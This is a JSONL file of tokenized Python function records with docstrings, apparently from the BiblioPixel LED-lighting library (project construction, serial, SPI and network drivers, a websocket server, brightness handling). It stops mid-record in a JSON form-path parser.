{"signature": "def fill(strip, item, start=<NUM_LIT:0>, stop=None, step=<NUM_LIT:1>):", "body": "if stop is None:<EOL><INDENT>stop = len(strip)<EOL><DEDENT>for i in range(start, stop, step):<EOL><INDENT>strip[i] = item<EOL><DEDENT>", "docstring": "Fill a portion of a strip from start to stop by step with a given item.\n    If stop is not given, it defaults to the length of the strip.", "id": "f2060:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __getitem__(self, index):<DEDENT>", "body": "pass<EOL>", "docstring": "`index` must be an integer, not a slice.", "id": "f2060:c0:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __setitem__(self, index, value):<DEDENT>", "body": "pass<EOL>", "docstring": "`index` must be an integer, not a slice.", "id": "f2060:c0:m1"}
{"signature": "def recurse(desc, pre='<STR_LIT>', post=None, python_path=None):", "body": "def call(f, desc):<EOL><INDENT>if isinstance(f, str):<EOL><INDENT>f = getattr(datatype, f, None)<EOL><DEDENT>return f and f(desc)<EOL><DEDENT>desc = load.load_if_filename(desc) or desc<EOL>desc = construct.to_type_constructor(desc, python_path)<EOL>datatype = desc.get('<STR_LIT>')<EOL>desc = call(pre, desc) or desc<EOL>for child_name in getattr(datatype, '<STR_LIT>', []):<EOL><INDENT>child = desc.get(child_name)<EOL>if child:<EOL><INDENT>is_plural = child_name.endswith('<STR_LIT:s>')<EOL>remove_s = is_plural and child_name != '<STR_LIT>'<EOL>cname = child_name[:-<NUM_LIT:1>] if remove_s else child_name<EOL>new_path = python_path or ('<STR_LIT>' + cname)<EOL>if is_plural:<EOL><INDENT>if isinstance(child, (dict, str)):<EOL><INDENT>child = [child]<EOL><DEDENT>for i, c in enumerate(child):<EOL><INDENT>child[i] = recurse(c, pre, post, new_path)<EOL><DEDENT>desc[child_name] = child<EOL><DEDENT>else:<EOL><INDENT>desc[child_name] = recurse(child, pre, post, new_path)<EOL><DEDENT><DEDENT><DEDENT>d = call(post, desc)<EOL>return desc if d is None else d<EOL>", "docstring": "Depth first recursion through a dictionary containing type constructors\n\nThe arguments pre, post and children are independently either:\n\n* None, which means to do nothing\n* a string, which means to use the static class method of that name on the\n  class being constructed, or\n* a callable, to be called at each recursion\n\nArguments:\n\ndictionary -- a project dictionary or one of its subdictionaries\npre -- called before children are visited node in the recursion\npost -- called after children are visited in the recursion\npython_path -- relative path to start resolving typenames", "id": "f2061:m0"}
{"signature": "def make_object(*args, typename=None, python_path=None, datatype=None, **kwds):", "body": "datatype = datatype or import_symbol(typename, python_path)<EOL>field_types = getattr(datatype, '<STR_LIT>', fields.FIELD_TYPES)<EOL>return datatype(*args, **fields.component(kwds, field_types))<EOL>", "docstring": "Make an object from a symbol.", "id": "f2062:m4"}
{"signature": "def construct(*args, datatype, typename=None, **kwds):", "body": "return datatype(*args, **kwds)<EOL>", "docstring": "Construct an object from a type constructor.\n\nA type constructor is a dictionary which has a field \"datatype\" which has\na callable method to construct a class, and a field \"typename\" which is the\nPython path of the function or class in \"datatype\".", "id": "f2063:m0"}
{"signature": "def to_type_constructor(value, python_path=None):", "body": "if not value:<EOL><INDENT>return value<EOL><DEDENT>if callable(value):<EOL><INDENT>return {'<STR_LIT>': value}<EOL><DEDENT>value = to_type(value)<EOL>typename = value.get('<STR_LIT>')<EOL>if typename:<EOL><INDENT>r = aliases.resolve(typename)<EOL>try:<EOL><INDENT>value['<STR_LIT>'] = importer.import_symbol(<EOL>r, python_path=python_path)<EOL>del value['<STR_LIT>']<EOL><DEDENT>except Exception as e:<EOL><INDENT>value['<STR_LIT>'] = e<EOL><DEDENT><DEDENT>return value<EOL>", "docstring": "Tries to convert a value to a type constructor.\n\nIf value is a string, then it used as the \"typename\" field.\n\nIf the \"typename\" field exists, the symbol for that name is imported and\nadded to the type constructor as a field \"datatype\".\n\nThrows:\n     ImportError -- if \"typename\" is set but cannot be imported\n     ValueError -- if \"typename\" is malformed", "id": "f2063:m2"}
{"signature": "def merge(*projects):", "body": "result = {}<EOL>for project in projects:<EOL><INDENT>for name, section in (project or {}).items():<EOL><INDENT>if name not in PROJECT_SECTIONS:<EOL><INDENT>raise ValueError(UNKNOWN_SECTION_ERROR % name)<EOL><DEDENT>if section is None:<EOL><INDENT>result[name] = type(result[name])()<EOL>continue<EOL><DEDENT>if name in NOT_MERGEABLE + SPECIAL_CASE:<EOL><INDENT>result[name] = section<EOL>continue<EOL><DEDENT>if section and not isinstance(section, (dict, str)):<EOL><INDENT>cname = section.__class__.__name__<EOL>raise ValueError(SECTION_ISNT_DICT_ERROR % (name, cname))<EOL><DEDENT>if name == '<STR_LIT>':<EOL><INDENT>adesc = load.load_if_filename(section)<EOL>if adesc:<EOL><INDENT>section = adesc.get('<STR_LIT>', {})<EOL>section['<STR_LIT>'] = adesc.get('<STR_LIT>', {})<EOL><DEDENT><DEDENT>result_section = result.setdefault(name, {})<EOL>section = construct.to_type(section)<EOL>for k, v in section.items():<EOL><INDENT>if v is None:<EOL><INDENT>result_section.pop(k, None)<EOL><DEDENT>else:<EOL><INDENT>result_section[k] = v<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Merge zero or more dictionaries representing projects with the default\nproject dictionary and return the result", "id": "f2074:m0"}
{"signature": "def put_edit(self, f, *args, **kwds):", "body": "self.put_nowait(functools.partial(f, *args, **kwds))<EOL>", "docstring": "Defer an edit to run on the EditQueue.\n\n:param callable f: The function to be called\n:param tuple args: Positional arguments to the function\n:param tuple kwds: Keyword arguments to the function\n:throws queue.Full: if the queue is full", "id": "f2076:c0:m0"}
{"signature": "def get_and_run_edits(self):", "body": "if self.empty():<EOL><INDENT>return<EOL><DEDENT>edits = []<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>edits.append(self.get_nowait())<EOL><DEDENT>except queue.Empty:<EOL><INDENT>break<EOL><DEDENT><DEDENT>for e in edits:<EOL><INDENT>try:<EOL><INDENT>e()<EOL><DEDENT>except:<EOL><INDENT>log.error('<STR_LIT>', e)<EOL>traceback.print_exc()<EOL><DEDENT><DEDENT>", "docstring": "Get all the edits in the queue, then execute them.\n\nThe algorithm gets all edits, and then executes all of them.  It does\n*not* pull off one edit, execute, repeat until the queue is empty, and\nthat means that the queue might not be empty at the end of\n``run_edits``, because new edits might have entered the queue\nwhile the previous edits are being executed.\n\nThis has the advantage that if edits enter the queue faster than they\ncan be processed, ``get_and_run_edits`` won't go into an infinite loop,\nbut rather the queue will grow unboundedly, which that can be\ndetected, and mitigated and reported on - or if Queue.maxsize is\nset, ``bp`` will report a fairly clear error and just dump the edits\non the ground.", "id": "f2076:c0:m1"}
{"signature": "def project(*descs, root_file=None):", "body": "load.ROOT_FILE = root_file<EOL>desc = merge.merge(merge.DEFAULT_PROJECT, *descs)<EOL>path = desc.get('<STR_LIT:path>', '<STR_LIT>')<EOL>if root_file:<EOL><INDENT>project_path = os.path.dirname(root_file)<EOL>if path:<EOL><INDENT>path += '<STR_LIT::>' + project_path<EOL><DEDENT>else:<EOL><INDENT>path = project_path<EOL><DEDENT><DEDENT>with load.extender(path):<EOL><INDENT>desc = recurse.recurse(desc)<EOL><DEDENT>project = construct.construct(**desc)<EOL>project.desc = desc<EOL>return project<EOL>", "docstring": "Make a new project, using recursion and alias resolution.\n\nUse this function in preference to calling Project() directly.", "id": "f2080:m0"}
{"signature": "def __init__(self, *,<EOL>drivers, layout, maker, path, animation, controls,<EOL>edit_queue_maxsize=EDIT_QUEUE_MAXSIZE, **kwds):", "body": "self.needs_cleanup = False<EOL>def create(root, name):<EOL><INDENT>def post(desc):<EOL><INDENT>exception = desc.get('<STR_LIT>')<EOL>if exception:<EOL><INDENT>raise exception<EOL><DEDENT>return self.construct_child(name, **desc)<EOL><DEDENT>with exception.add('<STR_LIT>' + name):<EOL><INDENT>return recurse.recurse(<EOL>root,<EOL>pre=None,<EOL>post=post,<EOL>python_path='<STR_LIT>' + name)<EOL><DEDENT><DEDENT>attributes.check(kwds, '<STR_LIT>')<EOL>self.path = path<EOL>layout = layout or fill.fill_layout(animation)<EOL>self.maker = self.construct_child('<STR_LIT>', **maker)<EOL>self.drivers = [create(d, '<STR_LIT>') for d in drivers]<EOL>with exception.add('<STR_LIT>'):<EOL><INDENT>self.layout = self.construct_child('<STR_LIT>', **layout)<EOL><DEDENT>self.animation = create(animation, '<STR_LIT>')<EOL>self.running = False<EOL>self.clock = clock.Clock()<EOL>eq = edit_queue.EditQueue(maxsize=edit_queue_maxsize)<EOL>self.layout.edit_queue = self.animation.edit_queue = eq<EOL>self.animation.add_preframe_callback(eq.get_and_run_edits)<EOL>self.controls = [create(c, '<STR_LIT>') for c in controls]<EOL>for d in self.drivers:<EOL><INDENT>d.set_project(self)<EOL><DEDENT>self.animation.set_project(self)<EOL>", "docstring": ":param int edit_queue_maxsize: maxsize parameter to queue.Queue.\n    0 means an unbounded queue.", "id": "f2080:c0:m2"}
{"signature": "def _add_redundant_arguments(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', default=None,<EOL>help='<STR_LIT>')<EOL>if deprecated.allowed():  <EOL><INDENT>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', default=None,<EOL>help='<STR_LIT>')<EOL><DEDENT>parser.add_argument(<EOL>'<STR_LIT>', default=None,<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', default=None,<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', default='<STR_LIT>', choices=NUMBER_TYPES,<EOL>help=NUMBERS_HELP)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', default=None, help=PATH_HELP)<EOL>", "docstring": "These arguments are redundant with just using a project, and we should\nencouraging that as you don't have to learn any dumb flags!\n\nFor example, instead of\n\n   bp foo.yml --animation=wombat --numbers=float\n\nuse\n\n   bp foo.yml + '{animation: wombat, numbers: float}'", "id": "f2086:m1"}
{"signature": "def __init__(self, *args, filename='<STR_LIT>', render=None,<EOL>divide=<NUM_LIT:1>, frames=<NUM_LIT:0>, time=<NUM_LIT:10>, speed=<NUM_LIT:1.0>, options=None,<EOL>gif_dir=None, **kwds):", "body": "super().__init__(*args, **kwds)<EOL>self.cur_step = <NUM_LIT:1><EOL>self.movie_writer = _movie_writer.MovieWriter(<EOL>filename, render, divide, frames, time, speed, options, gif_dir)<EOL>", "docstring": ":param str filename: Base filename to write the animated GIF file\n\n:param dict render: Parameters to the renderer function -\n    see ``bibliopixel.util.image.render.renderer``\n\n:param int divide: If greater than 1, only rendered one in ``divide``\n    frames\n\n:param int frames: Number of frames to write\n\n:param float time: Total time to write.  If non-zero, takes precedence\n    over `frames`\n\n:param float speed: the speed of the GIF is scaled up by this factor,\n    so if speed=2 then a 2 second animation will become a 1 second GIF.\n\n:param dict options: Options to\n    ``bibliopixel.util.image.gif.write_animation``\n\n:param str gif_dir: If set, write individual GIF frame files to this\n    directory, and do not delete them when done.  For testing purposes.", "id": "f2089:c0:m0"}
{"signature": "def find_serial_devices(self):", "body": "if self.devices is not None:<EOL><INDENT>return self.devices<EOL><DEDENT>self.devices = {}<EOL>hardware_id = \"<STR_LIT>\" + self.hardware_id  <EOL>for ports in serial.tools.list_ports.grep(hardware_id):<EOL><INDENT>port = ports[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>id = self.get_device_id(port)<EOL>ver = self._get_device_version(port)<EOL><DEDENT>except:<EOL><INDENT>log.debug('<STR_LIT>',<EOL>port, self.baudrate)<EOL>if True:<EOL><INDENT>raise<EOL><DEDENT>continue<EOL><DEDENT>if getattr(ports, '<STR_LIT>', lambda: <NUM_LIT:0>)():<EOL><INDENT>log.debug('<STR_LIT>',<EOL>self.hardware_id, id, ver, len(ports))<EOL><DEDENT>if id < <NUM_LIT:0>:<EOL><INDENT>log.debug('<STR_LIT>',<EOL>self.hardware_id, id, ver)<EOL><DEDENT>else:<EOL><INDENT>self.devices[id] = port, ver<EOL><DEDENT><DEDENT>return self.devices<EOL>", "docstring": "Scan and report all compatible serial devices on system.\n\n        :returns: List of discovered devices", "id": "f2090:c0:m1"}
{"signature": "def get_device(self, id=None):", "body": "if id is None:<EOL><INDENT>if not self.devices:<EOL><INDENT>raise ValueError('<STR_LIT>' % self.hardware_id)<EOL><DEDENT>id, (device, version) = sorted(self.devices.items())[<NUM_LIT:0>]<EOL><DEDENT>elif id in self.devices:<EOL><INDENT>device, version = self.devices[id]<EOL><DEDENT>else:<EOL><INDENT>error = '<STR_LIT>' % id<EOL>log.error(error)<EOL>raise ValueError(error)<EOL><DEDENT>log.info(\"<STR_LIT>\",<EOL>device, id, version)<EOL>return id, device, version<EOL>", "docstring": "Returns details of either the first or specified device\n\n        :param int id: Identifier of desired device. If not given, first device\n            found will be returned\n\n        :returns tuple: Device ID, Device Address, Firmware Version", "id": "f2090:c0:m2"}
{"signature": "def error(self, fail=True, action='<STR_LIT>'):", "body": "e = '<STR_LIT>'<EOL>if action:<EOL><INDENT>e = '<STR_LIT>' % (action, e)<EOL><DEDENT>log.error(e)<EOL>if fail:<EOL><INDENT>raise IOError(e)<EOL><DEDENT>", "docstring": "SHOULD BE PRIVATE METHOD", "id": "f2090:c0:m3"}
{"signature": "def set_device_id(self, dev, id):", "body": "if id < <NUM_LIT:0> or id > <NUM_LIT:255>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>com, code, ok = io.send_packet(<EOL>CMDTYPE.SETID, <NUM_LIT:1>, dev, self.baudrate, <NUM_LIT:5>, id)<EOL>if not ok:<EOL><INDENT>raise_error(code)<EOL><DEDENT>", "docstring": "Set device ID to new value.\n\n        :param str dev: Serial device address/path\n        :param id: Device ID to set", "id": "f2090:c0:m4"}
{"signature": "def get_device_id(self, dev):", "body": "com, code, ok = io.send_packet(CMDTYPE.GETID, <NUM_LIT:0>, dev, self.baudrate, <NUM_LIT:5>)<EOL>if code is None:<EOL><INDENT>self.error(action='<STR_LIT>')<EOL><DEDENT>return code<EOL>", "docstring": "Get device ID at given address/path.\n\n        :param str dev: Serial device address/path\n        :param baudrate: Baudrate to use when connecting (optional)", "id": "f2090:c0:m5"}
{"signature": "def __init__(self, *args, address, pixel_positions=None, **kwds):", "body": "super().__init__(*args, **kwds)<EOL>self.address = address<EOL>self.server = self.thread = None<EOL>self.pixel_positions = pixel_positions<EOL>if pixel_positions:<EOL><INDENT>self.set_pixel_positions(pixel_positions)<EOL><DEDENT>", "docstring": "Args:\n    port:  the port on which the server is running.\n    pixel_positions:  the positions of the LEDs in 3-d space.\n    **kwds:  keywords passed to DriverBase.", "id": "f2098:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def main():<DEDENT>", "body": "if not _curses:<EOL><INDENT>if os.name == '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>driver = next(iter(Curses.DRIVERS))<EOL><DEDENT>except:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>_curses.wrapper(driver.run_in_curses)<EOL>", "docstring": "If a project has a Curses driver, the section \"main\" in the section\n\"run\" must be \"bibliopixel.drivers.curses.Curses.main\".", "id": "f2101:c0:m3"}
{"signature": "def __init__(self, num=<NUM_LIT>, columns=<NUM_LIT:8>, max_colors=<NUM_LIT:16>, **kwds):", "body": "super().__init__(num)<EOL>self.columns = columns<EOL>self.max_colors = max_colors<EOL>", "docstring": "Args\n    delay: time to wait in seconds to simulate actual hardware\n    interface time", "id": "f2102:c0:m0"}
{"signature": "def __init__(self, num=<NUM_LIT>, delay=<NUM_LIT:0>, **kwds):", "body": "super().__init__(num)<EOL>self._kwds = kwds<EOL>self._delay = delay<EOL>", "docstring": "Args\n    delay: time to wait in seconds to simulate actual hardware\n    interface time", "id": "f2103:c0:m0"}
{"signature": "def send_packet(self, data):", "body": "raise NotImplementedError<EOL>", "docstring": "SHOULD BE PRIVATE", "id": "f2108:c0:m1"}
{"signature": "def compute_packet(self, data):", "body": "return data<EOL>", "docstring": "SHOULD BE PRIVATE", "id": "f2108:c0:m2"}
{"signature": "def error(self, text):", "body": "msg = '<STR_LIT>'.format(<EOL>self._dev, self._spi_speed, text)<EOL>log.error(msg)<EOL>raise IOError(msg)<EOL>", "docstring": "SHOULD BE PRIVATE", "id": "f2108:c0:m3"}
{"signature": "def send_packet(self, data):", "body": "package_size = <NUM_LIT>  <EOL>for i in range(int(math.ceil(len(data) / package_size))):<EOL><INDENT>start = i * package_size<EOL>end = (i + <NUM_LIT:1>) * package_size<EOL>self._spi.write(data[start:end])<EOL>self._spi.flush()<EOL><DEDENT>", "docstring": "SHOULD BE PRIVATE", "id": "f2108:c1:m1"}
{"signature": "def send_packet(self, data):", "body": "package_size = <NUM_LIT>  <EOL>for i in range(int(math.ceil(len(data) / package_size))):<EOL><INDENT>start = i * package_size<EOL>end = (i + <NUM_LIT:1>) * package_size<EOL>self._spi.transfer(data[start:end])<EOL><DEDENT>", "docstring": "SHOULD BE PRIVATE", "id": "f2108:c2:m1"}
{"signature": "def send_packet(self, data):", "body": "self._spi.xfer2(list(data))<EOL>", "docstring": "SHOULD BE PRIVATE", "id": "f2108:c3:m1"}
{"signature": "def send_packet(self, data):", "body": "pass<EOL>", "docstring": "do nothing", "id": "f2108:c4:m0"}
{"signature": "def SPI(ledtype=None, num=<NUM_LIT:0>, **kwargs):", "body": "from ...project.types.ledtype import make<EOL>if ledtype is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>ledtype = make(ledtype)<EOL>if num == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if ledtype not in SPI_DRIVERS.keys():<EOL><INDENT>raise ValueError('<STR_LIT>'.format(ledtype))<EOL><DEDENT>return SPI_DRIVERS[ledtype](num, **kwargs)<EOL>", "docstring": "Wrapper function for using SPI device drivers on systems like the\n    Raspberry Pi and BeagleBone. This allows using any of the SPI drivers\n    from a single entry point instead importing the driver for a specific\n    LED type.\n\n    Provides the same parameters of\n    :py:class:`bibliopixel.drivers.SPI.SPIBase` as\n    well as those below:\n\n    :param ledtype: One of: LPD8806, WS2801, WS281X, or APA102", "id": "f2112:m0"}
{"signature": "def set_device_brightness(self, val):", "body": "<EOL>self._chipset_brightness = (val >> <NUM_LIT:3>)<EOL>self._brightness_list = [<NUM_LIT> + self._chipset_brightness] * self.numLEDs<EOL>self._packet[self._start_frame:self._pixel_stop:<NUM_LIT:4>] = (<EOL>self._brightness_list)<EOL>", "docstring": "APA102 & SK9822 support on-chip brightness control, allowing greater\ncolor depth.\n\nAPA102 superimposes a 440Hz PWM on the 19kHz base PWM to control\nbrightness. SK9822 uses a base 4.7kHz PWM but controls brightness with a\nvariable current source.\n\nBecause of this SK9822 will have much less flicker at lower levels.\nEither way, this option is better and faster than scaling in\nBiblioPixel.", "id": "f2113:c0:m1"}
{"signature": "def __init__(self, num=<NUM_LIT:32>, port=<NUM_LIT>, **kwds):", "body": "super().__init__(num, address=port, **kwds)<EOL>", "docstring": "Args:\n    num:  number of LEDs being visualizer.\n    port:  the port on which the SimPixel server is running.\n    pixel_positions:  the positions of the LEDs in 3-d space.\n    **kwds:  keywords passed to DriverBase.", "id": "f2117:c1:m1"}
{"signature": "def handleMessage(self):", "body": "pass<EOL>", "docstring": "Called when websocket frame is received.\nTo access the frame data call self.data.\n\nIf the frame is Text then self.data is a unicode object.\nIf the frame is Binary then self.data is a bytearray object.", "id": "f2119:c1:m1"}
{"signature": "def handleConnected(self):", "body": "pass<EOL>", "docstring": "Called when a websocket client connects to the server.", "id": "f2119:c1:m2"}
{"signature": "def handleClose(self):", "body": "pass<EOL>", "docstring": "Called when a websocket server gets a Close frame from a client.", "id": "f2119:c1:m3"}
{"signature": "def close(self, status=<NUM_LIT:1000>, reason=u'<STR_LIT>'):", "body": "try:<EOL><INDENT>if self.closed is False:<EOL><INDENT>close_msg = bytearray()<EOL>close_msg.extend(struct.pack(\"<STR_LIT>\", status))<EOL>if _check_unicode(reason):<EOL><INDENT>close_msg.extend(reason.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>else:<EOL><INDENT>close_msg.extend(reason)<EOL><DEDENT>self._sendMessage(False, CLOSE, close_msg)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.closed = True<EOL><DEDENT>", "docstring": "Send Close frame to the client. The underlying socket is only closed\nwhen the client acknowledges the Close frame.\n\nstatus is the closing identifier.\nreason is the reason for the close.", "id": "f2119:c1:m6"}
{"signature": "def sendFragmentStart(self, data):", "body": "opcode = BINARY<EOL>if _check_unicode(data):<EOL><INDENT>opcode = TEXT<EOL><DEDENT>self._sendMessage(True, opcode, data)<EOL>", "docstring": "Send the start of a data fragment stream to a websocket client.\nSubsequent data should be sent using sendFragment().\nA fragment stream is completed when sendFragmentEnd() is called.\n\nIf data is a unicode object then the frame is sent as Text.\nIf the data is a bytearray object then the frame is sent as Binary.", "id": "f2119:c1:m8"}
{"signature": "def sendFragment(self, data):", "body": "self._sendMessage(True, STREAM, data)<EOL>", "docstring": "see sendFragmentStart()\n\nIf data is a unicode object then the frame is sent as Text.\nIf the data is a bytearray object then the frame is sent as Binary.", "id": "f2119:c1:m9"}
{"signature": "def sendFragmentEnd(self, data):", "body": "self._sendMessage(False, STREAM, data)<EOL>", "docstring": "see sendFragmentEnd()\n\nIf data is a unicode object then the frame is sent as Text.\nIf the data is a bytearray object then the frame is sent as Binary.", "id": "f2119:c1:m10"}
{"signature": "def sendMessage(self, data):", "body": "opcode = BINARY<EOL>if _check_unicode(data):<EOL><INDENT>opcode = TEXT<EOL><DEDENT>self._sendMessage(False, opcode, data)<EOL>", "docstring": "Send websocket data frame to the client.\n\nIf data is a unicode object then the frame is sent as Text.\nIf the data is a bytearray object then the frame is sent as Binary.", "id": "f2119:c1:m11"}
{"signature": "def set_device_brightness(self, brightness):", "body": "packet = util.generate_header(CMDTYPE.BRIGHTNESS, <NUM_LIT:1>)<EOL>packet.append(self._brightness)<EOL>s = self._connect()<EOL>s.sendall(packet)<EOL>resp = ord(s.recv(<NUM_LIT:1>))<EOL>return resp == RETURN_CODES.SUCCESS<EOL>", "docstring": "Hardware specific method to set the global brightness for\n        this driver's output. This method is required to be implemented,\n        however, users should call\n        :py:meth:`.driver_base.DriverBase.set_brightness`\n        instead of calling this method directly.\n\n        :param int brightness: 0-255 value representing the desired\n            brightness level", "id": "f2122:c1:m4"}
{"signature": "def __init__(self, *args, ip_address='<STR_LIT>', port=artnet_message.UDP_PORT,<EOL>filter_dupes=True, offset=<NUM_LIT:0>, **kwds):", "body": "super().__init__(*args, address=(ip_address, port), **kwds)<EOL>self.filter_dupes = filter_dupes<EOL>self.offset = offset_range.DMXChannel(offset)<EOL>self.msg = artnet_message.dmx_message()<EOL>self.last_message = None<EOL>", "docstring": ":param dict channel_map: maps DMX channels to positions in\n    the color_list\n:param int offset: a DMX channel offset, positive, negative or zero", "id": "f2124:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def construct(cls, project, **desc):<DEDENT>", "body": "return cls(maker=project.maker, **desc)<EOL>", "docstring": "Construct a driver from a project and a description.", "id": "f2125:c0:m0"}
{"signature": "def set_pixel_positions(self, pixel_positions):", "body": "pass<EOL>", "docstring": "Internal Use Only\n\nPlaceholder callback for sending physical pixel layout data to the\n``SimPixel`` driver.", "id": "f2125:c0:m2"}
{"signature": "def set_colors(self, colors, pos):", "body": "self._colors = colors<EOL>self._pos = pos<EOL>end = self._pos + self.numLEDs<EOL>if end > len(self._colors):<EOL><INDENT>raise ValueError('<STR_LIT>' % (<EOL>end, len(self._colors)))<EOL><DEDENT>", "docstring": "Use with caution!\n\nDirectly set the pixel buffers.\n\n:param colors: A list of color tuples\n:param int pos: Position in color list to begin set operation.", "id": "f2125:c0:m3"}
{"signature": "def start(self):", "body": "", "docstring": "Called right before this driver will run.  This is the place\nto do things like start threads, not in the constructor.", "id": "f2125:c0:m5"}
{"signature": "def stop(self):", "body": "", "docstring": "Called to request any threads or resources to shut down.", "id": "f2125:c0:m6"}
{"signature": "def cleanup(self):", "body": "", "docstring": "Called to shut this driver down, and stop all threads and processes.", "id": "f2125:c0:m7"}
{"signature": "def join(self, timeout=None):", "body": "", "docstring": "Called to join threads.", "id": "f2125:c0:m8"}
{"signature": "def bufByteCount(self):", "body": "return <NUM_LIT:3> * self.numLEDs<EOL>", "docstring": "Total number of bytes that the pixel buffer represents.\nMainly used for drivers such as :py:mod:`bibliopixel.drivers.serial`\nand :py:mod:`.network`", "id": "f2125:c0:m9"}
{"signature": "def sync(self):", "body": "", "docstring": "The sync() method is called after the entire frame has been\nsent to the device to indicate that it may now be displayed.\n\nThis is particularly useful when there are multiple drivers comprising\none display which all need to display the next frame at exactly the same\ntime.", "id": "f2125:c0:m10"}
{"signature": "def _compute_packet(self):", "body": "", "docstring": "Compute the packet from the colors and position.\n\n        Eventually, this will run on the compute thread.", "id": "f2125:c0:m11"}
{"signature": "def _send_packet(self):", "body": "", "docstring": "Send the packet to the driver.\n\n        Eventually, this will run on an I/O thread.", "id": "f2125:c0:m12"}
{"signature": "def update_colors(self):", "body": "start = self.clock.time()<EOL>with self.brightness_lock:<EOL><INDENT>brightness, self._waiting_brightness = (<EOL>self._waiting_brightness, None)<EOL><DEDENT>if brightness is not None:<EOL><INDENT>self._brightness = brightness<EOL>if self.set_device_brightness:<EOL><INDENT>self.set_device_brightness(brightness)<EOL><DEDENT><DEDENT>self._compute_packet()<EOL>self._send_packet()<EOL>self.lastUpdate = self.clock.time() - start<EOL>", "docstring": "Apply any corrections to the current color list\n        and send the results to the driver output. This function primarily\n        provided as a wrapper for each driver's implementation of\n        :py:func:`_compute_packet` and :py:func:`_send_packet`.", "id": "f2125:c0:m13"}
{"signature": "def set_brightness(self, brightness):", "body": "with self.brightness_lock:<EOL><INDENT>self._waiting_brightness = brightness<EOL><DEDENT>", "docstring": "Set the global brightness for this driver's output.\n\n        :param int brightness: 0-255 value representing the desired\n            brightness level", "id": "f2125:c0:m14"}
{"signature": "def _render(self):", "body": "if self.set_device_brightness:<EOL><INDENT>level = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>level = self._brightness / <NUM_LIT><EOL><DEDENT>gam, (r, g, b) = self.gamma.get, self.c_order<EOL>for i in range(min(self.numLEDs, len(self._buf) / <NUM_LIT:3>)):<EOL><INDENT>c = [int(level * x) for x in self._colors[i + self._pos]]<EOL>self._buf[i * <NUM_LIT:3>:(i + <NUM_LIT:1>) * <NUM_LIT:3>] = gam(c[r]), gam(c[g]), gam(c[b])<EOL><DEDENT>", "docstring": "Typically called from :py:func:`_compute_packet` this applies\n        brightness and gamma correction to the pixels controlled by this\n        driver.", "id": "f2125:c0:m15"}
{"signature": "def import_all(root, project_name, blacklist):", "body": "successes, failures = [], []<EOL>for name in _all_imports(root, project_name):<EOL><INDENT>if name not in blacklist:<EOL><INDENT>try:<EOL><INDENT>importlib.import_module(name)<EOL><DEDENT>except:<EOL><INDENT>failures.append((name, traceback.format_exc()))<EOL><DEDENT>else:<EOL><INDENT>successes.append(name)<EOL><DEDENT><DEDENT><DEDENT>return successes, failures<EOL>", "docstring": "Import all files and directories", "id": "f2171:m2"}
{"signature": "def text_at(self, x, y):", "body": "return '<STR_LIT:*>' if any(self.matrix.get(x, y)) else '<STR_LIT:U+0020>'<EOL>", "docstring": "Return text for a given pixel", "id": "f2179:c0:m0"}
{"signature": "def parse_json_form(dictionary, prefix='<STR_LIT>'):", "body": "<EOL>output = {}<EOL>for name, value in get_all_items(dictionary):<EOL><INDENT>steps = parse_json_path(name)<EOL>context = output<EOL>for step in steps:<EOL><INDENT>current_value = get_value(context, step.key, Undefined())<EOL>context = set_json_value(<EOL>context=context,<EOL>step=step,<EOL>current_value=current_value,<EOL>entry_value=value,<EOL>is_file=False,<EOL>)<EOL><DEDENT><DEDENT>output = clean_undefined(output)<EOL>output = clean_empty_string(output)<EOL>result = get_value(output, prefix, Undefined())<EOL>if isinstance(result, Undefined):<EOL><INDENT>return output<EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "Parse an HTML JSON form submission as per the W3C Draft spec\nAn implementation of \"The application/json encoding algorithm\"\nhttp://www.w3.org/TR/html-json-forms/", "id": "f2250:m0"}
{"signature": "def parse_json_path(path):", "body": "<EOL>original_path = path<EOL>steps = []<EOL>failed = [<EOL>JsonStep(<EOL>type=\"<STR_LIT:object>\",<EOL>key=original_path,<EOL>last=True,<EOL>failed=True,<EOL>)<EOL>]<EOL>digit_re = re.compile(r'<STR_LIT>')<EOL>key_re = re.compile(r'<STR_LIT>')<EOL>parts = path.split(\"<STR_LIT:[>\")<EOL>first_key = parts[<NUM_LIT:0>]<EOL>if parts[<NUM_LIT:1>:]:<EOL><INDENT>path = \"<STR_LIT:[>\" + \"<STR_LIT:[>\".join(parts[<NUM_LIT:1>:])<EOL><DEDENT>else:<EOL><INDENT>path = \"<STR_LIT>\"<EOL><DEDENT>steps.append(JsonStep(<EOL>type=\"<STR_LIT:object>\",<EOL>key=first_key,<EOL>))<EOL>if not path:<EOL><INDENT>steps[-<NUM_LIT:1>].last = True<EOL>return steps<EOL><DEDENT>while path:<EOL><INDENT>if path[:<NUM_LIT:2>] == \"<STR_LIT>\":<EOL><INDENT>path = path[<NUM_LIT:2>:]<EOL>steps.append(JsonStep(<EOL>type=\"<STR_LIT>\",<EOL>key=<NUM_LIT:0>,<EOL>))<EOL>continue<EOL><DEDENT>digit_match = digit_re.match(path)<EOL>if digit_match:<EOL><INDENT>path = digit_re.sub(\"<STR_LIT>\", 